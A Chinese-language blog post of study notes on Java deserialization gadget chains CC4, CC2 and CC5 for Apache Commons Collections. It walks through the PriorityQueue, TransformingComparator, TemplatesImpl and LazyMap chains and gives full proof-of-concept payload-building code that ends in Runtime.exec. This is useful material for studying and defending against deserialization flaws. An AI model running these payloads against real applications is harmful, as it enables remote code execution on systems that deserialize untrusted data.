java反序列化之cc2和cc4
2023-06-14 19:55:55

CC4

CC4是针对commons-collections4的4.0版本的一条利用链

主要是利用TransformingComparator类的compare方法调用了ChainedTransformer类的transform(commons-collections3.2的TransformingComparator无法反序列化)

image-20230326101200961

而入口则是PriorityQueue类的readObject方法,整体利用链如下:

PriorityQueue#readObject

PriorityQueue#heapify

PriorityQueue#siftDown

PriorityQueue#siftDownUsingComparator

TransformingComparator#compare

所以通过以下构造方法连成一条链

1
2
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

但有几个需要注意的逻辑点

在PriorityQueue#heapify中有

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

要想进入循环则必须满足size>>>1要大于0,即变量 “size” 的二进制表示向右移动一位要大于0,size>1

所以有

1
2
priorityQueue.add(1);
priorityQueue.add(2);

但是priorityQueue.add()会调用priorityQueue.offer()进而调用priorityQueue.siftUp(),最终到siftUpUsingComparator()调用了compare方法,也就是说在还没有反序列化之前,就已经命令执行了。

要解决这个问题方法和之前的一样,在add前断开链,add后在把链接上

故最后的序列化poc就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);

//这里把链给断开了
TransformingComparator transformingComparator = new TransformingComparator(new ChainedTransformer());

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

//利用反射将链连上
Class clazz = TransformingComparator.class;
Field transformerfield = clazz.getDeclaredField("transformer");
transformerfield.setAccessible(true);
transformerfield.set(transformingComparator,chainedTransformer);

Test.Serialize(priorityQueue);

CC2

前面提到通过类的动态加载,我们只需要运行templates.newTransformer()方法就可以任意命令执行了

那么我们可以通过InvokerTransformer类来执行这个方法,就可以实现命令执行

1
2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
invokerTransformer.transform(templates);

但我们总会遇到一个问题,就是transform的参数不好控制,之前我们都是采用ChainedTransformer+ConstantTransformer来解决的,但在这里,我们的参数是可控的,

在PriorityQueue#heapify中要向siftDown传入两个参数,而第二个参数就是我们最终传到transform的参数

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

而这个queue[i]就是我们poc中利用priorityQueue.add方法传入的参数,所以我们只需要传入一个

templates就可以了

故最终的poc为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//实例化TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();

//让_name!=null
Class c = templates.getClass();
Field namefield = c.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"123");

//让_bytecodes等于恶意字节码
Field bytecodesfield = c.getDeclaredField("_bytecodes");
bytecodesfield.setAccessible(true);
byte[] codes = Files.readAllBytes(Paths.get("D:\\php_project\\shengji_study\\target\\classes\\runtime.class"));
bytecodesfield.set(templates,new byte[][] {codes});

//为_tfactory赋值
Field tfactoryfield = c.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
//invokerTransformer.transform(templates);

//这里把链给断开了
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));//这里不能用ChainedTransformer,否则会报错

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);//传入templates
priorityQueue.add(1);

//利用反射将链连上
Class clazz = TransformingComparator.class;
Field transformerfield = clazz.getDeclaredField("transformer");
transformerfield.setAccessible(true);
transformerfield.set(transformingComparator,invokerTransformer);

Test.Serialize(priorityQueue);

通过这种方法就可以在不用ChainedTransformer和ConstantTransformer的情况下实现反序列化

最后附上一张CC链的总图:

image-20230326145828228

CC5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//实例化TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();

//让_name!=null
Class c = templates.getClass();
Field namefield = c.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"123");

//让_bytecodes等于恶意字节码
Field bytecodesfield = c.getDeclaredField("_bytecodes");
bytecodesfield.setAccessible(true);
byte[] codes = Files.readAllBytes(Paths.get("D:\\php_project\\shengji_study\\target\\classes\\runtime.class"));
bytecodesfield.set(templates,new byte[][] {codes});

//为_tfactory赋值
Field tfactoryfield = c.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());


//构造lazymap
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);

Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);

HashMap<Object,Object> map = new HashMap<Object,Object>();
Map lazymap = LazyMap.decorate(map, chainedTransformer);


TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,'1');
//构造BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException('1');
//把链断开,用反射重新连上
Class BadAttribute_class =Class.forName("javax.management.BadAttributeValueExpException");
Field val_field = BadAttribute_class.getDeclaredField("val");
val_field.setAccessible(true);
val_field.set(badAttributeValueExpException,tiedMapEntry);

Test.Serialize(badAttributeValueExpException);
//Test.Unserialize("test.ser");